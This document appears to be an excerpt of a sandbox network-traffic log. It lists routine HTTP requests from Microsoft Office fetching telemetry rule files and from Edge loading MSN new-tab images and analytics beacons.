Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731901295409&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a43a09c4f5cf4767a1730934a9d14de9&activityId=a43a09c4f5cf4767a1730934a9d14de9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=019EA19FC48B48A7BAC1328C7711DC5F&MUID=173F2CCF736C687C022A39F472CD694D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=173F2CCF736C687C022A39F472CD694D; _EDGE_S=F=1&SID=12B306886C7469E01D8C13B36D126862; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
